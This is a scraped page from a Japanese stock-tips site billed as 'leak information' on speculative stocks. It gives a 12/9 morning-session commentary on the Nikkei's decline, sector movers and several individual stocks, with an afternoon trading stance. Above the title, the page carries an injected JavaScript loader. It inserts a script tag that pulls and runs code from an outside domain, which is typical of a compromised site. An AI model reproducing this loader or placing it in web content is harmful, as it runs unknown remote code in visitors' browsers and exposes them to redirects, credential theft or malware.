;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/9 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/9 前引け】

前場の日経平均株価は211円安と大幅続落。前日の欧米株安を背景に売り先行スタート。その後は一時下げ幅を縮める場面もあったものの、中盤以降は再度下げ幅を拡大した。地合い悪化のほか、今週末に控えるメジャーSQや来週控えるFOMCを前に積極的な押し目買いも現状あまり入らない状況となっている。業種別では、石油石炭製品、その他金融業、鉱業、輸送用機器が値上がり率上位に。一方、保険業、水産・農林業、医薬品、鉄鋼などが値下がり率上位となっている。

個別では、 ポリゴンデータ編集システムを1月発売と発表の【4640】アンドールが連日のストップ高。直近、ブロックチェーン技術を有するテックビューロと事業提携を材料視のほか、前日に「Handbook」4年連続シェトップを好感され一時急伸した【3853】インフォテリアが大幅反発したほか、三菱UFJモルガン・スタンレー証券が投資判断を「ニュートラル」から「オーバーウェイト」に格上げ、目標株価も240円から420円に大幅に引き上げた【6958】日本CMK。上方修正、自社株買いを前日に発表した【9747】アサツー ディ・ケイなどが大幅高となっている。

後場は直近買いている通り中小型株メインを中心にした値幅取りスタンス継続。主力の押し目もそろそろといったところだがこれも何回もいってる通り数回に分けて買うスタンスで臨みたい。